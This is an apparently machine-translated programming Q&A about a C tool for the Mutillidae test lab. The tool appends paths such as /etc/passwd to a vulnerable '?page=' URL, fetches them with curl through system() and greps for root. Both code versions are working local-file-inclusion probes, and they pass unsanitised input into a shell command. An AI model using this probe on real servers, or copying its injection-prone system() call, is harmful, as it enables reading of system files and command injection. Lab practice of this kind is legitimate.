C编程元素数组到sprintf()

时间:2016-11-02 22:39:51

标签: c loops command printf

这是一个名为“Mutillidae”的测试实验室环境。

该程序获取argv [1]并将命令放入“curl< [argv [1]>”, 然后它从lfi_test文件中获取一行并将其放入第二行 sprintf()中的%s。这个程序执行%100,我只是遇到格式问题(| grep root)。而是显示整个源代码,包括整个/ etc / passwd文件。

如果我取消注释第20行:

int passwd = "/etc/passwd";

并将第27行更改为

sprintf(url,"/usr/bin/curl %s%s", argv[1], passwd);

我能够获得我想要的格式化结果。 如果有人可以帮助我,请提前感谢你。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char * argv[])
{
  printf("\nlfi_check searches for system files on a vulnerable URL\n");
  printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n");

  if (argc != 2)
  {
    printf("\nusage ./lfi_check http://target.php?page= \n");
  }
  else
  {
    char url[200];
    int i;
    FILE *fp;
    char line[200];
    char *root = "| grep root"
//    char *passwd = "/etc/passwd";

    fp = fopen("/home/freshnuts/pentest/lfi_rfi/lfi_test","r+");

    for (i=0; i <= 1; i++)
    {
      fgets(line,sizeof(line), fp);
      sprintf(url,"/usr/bin/curl %s%s %s", argv[1], line-1, root);
//      printf("%s", line);
      system(url);
    }

  }
}

1 个答案:

答案 0 :(得分:0)

第1行没有工作的原因..

sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line-1, root);

是由于来自文件的行(/ etc / passwd \ n)被剪切为1和 它不允许将char * root变量实现为字符串格式。

函数strtok()使用分隔符将行拆分为一系列标记。然后我能够在sprintf()之前解析“/ etc / passwd \ n”到“/ etc / passwd”。

感谢DUman&amp; immibis

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char * argv[])
{
  printf("\nlfi_check searches for system files on a vulnerable URL\n");
  printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n");

  if (argc != 2)
  {
    printf("\nusage ./lfi_check http://target.php?page= \n");
  }
  else
  {
    char url[4096];
    int i;
    FILE *fp;
    char line[200];
    char *root = " | grep root";

    fp = fopen("/root/freshnuts/pentest/lfi_rfi/lfi_test","r+");

    for (i=0; i <= 2; i++)
    {
      fgets(line,sizeof(line), fp);
      strtok(line, "\n");
      sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line,root);
      system(url);
    }

  }
}